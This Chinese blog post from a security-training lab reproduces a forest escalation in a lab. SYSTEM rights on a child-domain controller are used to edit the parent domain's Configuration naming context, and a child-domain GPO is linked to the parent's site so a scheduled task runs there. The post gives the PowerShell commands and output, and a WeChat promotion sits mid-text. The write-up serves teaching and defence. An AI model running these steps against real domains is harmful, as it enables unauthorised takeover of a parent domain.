头图

前言

最近翻阅笔记发现一篇文章提到通过子域的System权限可以突破获取到父域权限,本文将对此技术进行尝试复现研究。

利用分析

环境信息:

子域:187、sub.cs.org
父域:197、cs.org

首先通过在子域的域控机器上打开mmc.exe->连接ADSI->配置来查看子域的配置命名上下文:

从配置中可以看到配置命名上下文的域名实际上是父域cs.org,因此判断子域中看到的信息可能是父域的副本:

继续查看配置对象的安全描述符中的ACL,发现子域没有权限去变更:

但是可以看到除了域用户、域管用户以外,还有一个特权ACL条目叫SYSTEM,该条目拥有完全控制权限:

SYSTEM属于一个特殊用户,不属于域内用户,因此理论上只要能做到是SYSTEM权限就能控制对象条目而不用关注是不是域内管理员。因此尝试使用SYSTEM权限继续打开配置命名上下文:

可以看到当子域拥有了SYSTEM权限后就可以修改来自父域副本的配置对象:

【----帮助网安学习,以下所有学习资料加vx:dctintin,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

利用方式

既然可以控制父域的配置命名上下文,那如何利用呢?网上提到有几种方式,一种是通过GPO、还有的是提到给父域添加一个自己可控的证书模板(ESC1),这里以GPO组策略为例。
先在子域域控上创建一个GPO:

New-GPO jumbo_gpo_test

设置计划任务:

通过SYSTEM权限把子域的GPO link到父域:

PS C:\Windows\system32> Get-ADDomainController -Server cs.org | select HostNane, ServerObjectDN

HostNane ServerObjectDN
-------- --------------
{}       CN=10_4_45_197,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org
PS C:\Windows\system32> New-GPLink -Name "jumbo_gpo_test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org" -Server sub.cs.org


GpoId       : 76606696-cd03-4349-b0f2-0a45bdf305d4
DisplayName : jumbo_gpo_test
Enabled     : True
Enforced    : False
Target      : CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=cs,DC=org
Order       : 1

父域刷新组策略可以看到子域链接过来的GPO:

父域更新组策略成功执行计划任务notepad.exe:

gpupdate /force

刷新组策略后通过gpresult /r命名也可以看到添加的GPO:

总结

本文介绍了除SidHistory以外还可以通过子域的System权限进行突破到父域的攻击手法。

更多网安技能的在线实操练习,请点击这里>>


蚁景网安实验室
53 声望45 粉丝

蚁景网安实验室(www.yijinglab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ;内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。